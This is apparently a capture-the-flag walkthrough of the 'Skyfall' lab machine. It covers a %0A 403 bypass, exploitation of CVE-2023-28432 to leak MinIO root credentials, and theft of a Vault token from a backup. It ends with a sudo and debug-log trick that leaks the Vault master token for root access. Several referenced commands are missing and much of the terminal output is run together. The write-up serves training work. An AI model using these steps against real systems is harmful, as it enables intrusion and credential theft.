This is an Ubuntu 22.04.3 LTS machine which provides a MinIO-based cloud storage service. The MinIO root credentials are disclosed using 403 bypass technique and exploiting CVE-2023-28432. Once we have access to the MinIO storage we can download a file system backup which contains an HashiCorp Vault token. This will be used to get a one-time SSH password which will provide us a shell to get the user flag. Escalation is obtained by enumerating the sudoers configuration and abusing a rule that allows the low-priv user to unseal the HashiCorp Vault without a password.
So the unicode character %0A will allow us to bypass the 403 status. Entering the URI: http://demo.skyfall.htb/metrics%0a we reach a site with the server metrics and lots of server-related info.
To exploit this vulnerability, browse http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify with Firefox and capture the traffic. A message is received "All access to this resource has been disabled". Send to repeater and change the method to POST, the application leaks the MinIO root user and password, just as stated in the CVE.
Configure the client to use with the disclosed root MinIO and password.
> mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0mc:Configurationwrittento`/home/kali/.mc/config.json`.Pleaseupdateyouraccesscredentials.mc:Successfullycreated`/home/kali/.mc/share`.mc:Initializedshareuploads`/home/kali/.mc/share/uploads.json`file.mc:Initializedsharedownloads`/home/kali/.mc/share/downloads.json`file.Added`myminio`successfully.
Now we can use the client to dump MinIO info.
> mc admin info myminio●minio-node1:9000Uptime:2hoursVersion:2023-03-13T19:46:17ZNetwork:2/2OKDrives:2/2OKPool:1●minio-node2:9000Uptime:2hoursVersion:2023-03-13T19:46:17ZNetwork:2/2OKDrives:2/2OKPool:1Pools:1st,Erasuresets:1,Drivespererasureset:41.6MiBUsed,8Buckets,11Objects,4Versions4drivesonline,0drivesoffline
List the buckets and objects.
> mc ls --recursive --versions myminio[2023-11-07 23:59:15 EST] 0B askyy/[2023-11-08 00:35:28 EST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz[2023-11-07 23:58:56 EST] 0B btanner/[2023-11-08 00:35:36 EST] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf[2023-11-07 23:58:33 EST] 0B emoneypenny/[2023-11-08 00:35:56 EST] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf[2023-11-07 23:58:22 EST] 0B gmallory/[2023-11-08 00:36:02 EST] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf[2023-11-07 19:08:01 EST] 0B guest/[2023-11-07 19:08:05 EST] 48KiB STANDARD null v1 PUT guest/Welcome.pdf[2024-02-04 07:51:34 EST] 325B STANDARD null v1 PUT guest/etc_passwd[2024-02-04 07:59:44 EST] 2.6KiB STANDARD null v1 PUT guest/test[2023-11-07 23:59:05 EST] 0B jbond/[2023-11-08 00:35:45 EST] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf[2023-11-07 23:58:10 EST] 0B omansfield/[2023-11-08 00:36:09 EST] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf[2023-11-07 23:58:45 EST] 0B rsilva/[2023-11-08 00:35:51 EST] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
Here you can notice also a list of potential usernames.
Let's download the home_backup files and inspect the contents.
> mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/home_backup.tar.gz ./home_backup.v3.tar.gz...home_backup.tar.gz:1.18MiB/1.18MiB━━━━━━━━━━━━━━━━━━━━━━━━796.65KiB/s1s> mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz ./home_backup.v2.tar.gz...home_backup.tar.gz:2.64KiB/2.64KiB━━━━━━━━━━━━━━━━━━━━━━━━7.21KiB/s0s> mc cp --vid 25835695-5e73-4c13-82f7-30fd2da2cf61 myminio/askyy/home_backup.tar.gz ./home_backup.v1.tar.gz...home_backup.tar.gz:2.48KiB/2.48KiB━━━━━━━━━━━━━━━━━━━━━━━━6.29KiB/s0s
Unpack and inspect the contents of the V2 file home_backup.v2.tar.gz --vid 2b75346d-2a47-4203-ab09-3c9f878466b8, there is a .bashrc configuration file with an API address and an access token for an HashCorp Vault running on the host.
Having disclosed the API address and the token, we are in a position to get access to the secrets stored in the Vault, including SSH secrets and one-time passwords (OTP), as indicated in the SSH part of the documentation: https://developer.hashicorp.com/vault/api-docs/secret/ssh
Vault creates an OTP for each SSH authentication attempt instead of keeping a fixed password for each user. Every time a client wants to SSH into the host, he needs to request an OTP from the Vault server which is only valid for that particular SSH login. In order to supply the OTP, the server needs username/password or a token. We do not have user credentials, but we have obtained the token from the .bashrc file.
Following Vault documentation, first we enumerate OTP roles present in the host. We can do it with curl
The key provided is the OTP password for the SSH session. Notice the OTP expires very soon. As indicated in the API documentation, the token status can be checked by querying the OTP key against the endpoint /ssh/verify
Also, note the user nobody is not actually a system user. If you try with the list of potential usernames disclosed before, you'll find user askyy is a valid username for SSH login.
Bearing all this in mind, the command to get an SSH session for user askyy is the following.
So, according to sudo -l we can unseal the vault as root using the vault-unseal with verbose (option -v), debug (-d) or using a config file (-c /etc/vault-unseal.yaml).
Let's try to unseal the vault in verbose mode.
> sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v[+] Reading: /etc/vault-unseal.yaml[-] Security Risk![-] Mastertokenfoundinconfig:****************************[>] Enable 'debug' mode for details[+] Found Vault node: http://prd23-vault-internal.skyfall.htb[>] Check interval: 5s[>] Max checks: 5[>] Checking seal status[+] Vault sealed: false
The application dumps the master key and says more info will be provided in debug mode. Let's repeat repeat in debug mode (option -d).
> sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd[+] Reading: /etc/vault-unseal.yaml[-] Security Risk![+] FoundVaultnode:http://prd23-vault-internal.skyfall.htb[>] Check interval: 5s[>] Max checks: 5[>] Checking seal status[+] Vault sealed: false> ls -haltotal36Kdrwxr-x---4askyyaskyy4.0KFeb510:58.drwxr-xr-x3rootroot4.0KJan1921:33..lrwxrwxrwx1askyyaskyy9Nov921:30.bash_history ->/dev/null-rw-r--r--1askyyaskyy220Jan62022.bash_logout-rw-r--r--1askyyaskyy3.7KNov921:30.bashrcdrwx------2askyyaskyy4.0KOct918:47.cache-rw-r--r--1askyyaskyy807Jan62022.profiledrwx------2askyyaskyy4.0KJan1810:32.ssh-rw-------1rootroot590Feb510:58debug.log-rw-r-----1rootaskyy33Feb509:01user.txt>cat debug.logcat:debug.log:Permissiondenied
The debug info is stored in a log file called debug.log, but since it is created under the root context (sudo) we cannot read it.
However, if we run the command again the new results will be appended into any existing debug file.
> sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd[+] Reading: /etc/vault-unseal.yaml[-] Security Risk![+] FoundVaultnode:http://prd23-vault-internal.skyfall.htb[>] Check interval: 5s[>] Max checks: 5[>] Checking seal status[+] Vault sealed: false> ls -haltotal36Kdrwxr-x---4askyyaskyy4.0KFeb510:58.drwxr-xr-x3rootroot4.0KJan1921:33..lrwxrwxrwx1askyyaskyy9Nov921:30.bash_history ->/dev/null-rw-r--r--1askyyaskyy220Jan62022.bash_logout-rw-r--r--1askyyaskyy3.7KNov921:30.bashrcdrwx------2askyyaskyy4.0KOct918:47.cache-rw-r--r--1askyyaskyy807Jan62022.profiledrwx------2askyyaskyy4.0KJan1810:32.ssh-rw-------1rootroot1.2KFeb511:00debug.log-rw-r-----1rootaskyy33Feb509:01user.txt
Notice the debug.log file size has increased from 590 bytes to 1.2 KB, meaning the results have been appended to the existing log.
Delete the existing debug.log file and create a new one with touch, so it is owned by askyy
> rm debug.logrm:removewrite-protectedregularfile'debug.log'?Y> touch debug.log> ls -haltotal32Kdrwxr-x---4askyyaskyy4.0KFeb511:02.drwxr-xr-x3rootroot4.0KJan1921:33..lrwxrwxrwx1askyyaskyy9Nov921:30.bash_history ->/dev/null-rw-r--r--1askyyaskyy220Jan62022.bash_logout-rw-r--r--1askyyaskyy3.7KNov921:30.bashrcdrwx------2askyyaskyy4.0KOct918:47.cache-rw-r--r--1askyyaskyy807Jan62022.profiledrwx------2askyyaskyy4.0KJan1810:32.ssh-rw-rw-r--1askyyaskyy0Feb511:02debug.log-rw-r-----1rootaskyy33Feb509:01user.txt
Unseal again, this time we are able to read the file debug log since it is appended to the existing one (owned by askyy).
> sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd[+] Reading: /etc/vault-unseal.yaml[-] Security Risk![+] FoundVaultnode:http://prd23-vault-internal.skyfall.htb[>] Check interval: 5s[>] Max checks: 5[>] Checking seal status[+] Vault sealed: false> ls -haltotal36Kdrwxr-x---4askyyaskyy4.0KFeb511:02.drwxr-xr-x3rootroot4.0KJan1921:33..lrwxrwxrwx1askyyaskyy9Nov921:30.bash_history ->/dev/null-rw-r--r--1askyyaskyy220Jan62022.bash_logout-rw-r--r--1askyyaskyy3.7KNov921:30.bashrcdrwx------2askyyaskyy4.0KOct918:47.cache-rw-r--r--1askyyaskyy807Jan62022.profiledrwx------2askyyaskyy4.0KJan1810:32.ssh-rw-rw-r--1askyyaskyy590Feb511:02debug.log-rw-r-----1rootaskyy33Feb509:01user.txt> cat debug.log2024/02/0511:02:44Initializinglogger...2024/02/0511:02:44Reading:/etc/vault-unseal.yaml2024/02/0511:02:44SecurityRisk!2024/02/0511:02:44Mastertokenfoundinconfig:hvs.I0ewVsmaKU1SwVZAKR3T0mmG2024/02/0511:02:44FoundVaultnode:http://prd23-vault-internal.skyfall.htb2024/02/0511:02:44Checkinterval:5s2024/02/0511:02:44Maxchecks:52024/02/0511:02:44EstablishingconnectiontoVault...2024/02/0511:02:44SuccessfullyconnectedtoVault:http://prd23-vault-internal.skyfall.htb2024/02/0511:02:44Checkingsealstatus2024/02/0511:02:44Vaultsealed:false
Application dumps the vault master key, which we can use to generate an OTP and SSH in the same way as before. Just remember to update the role to admin_otp_key_role, and SSH as root.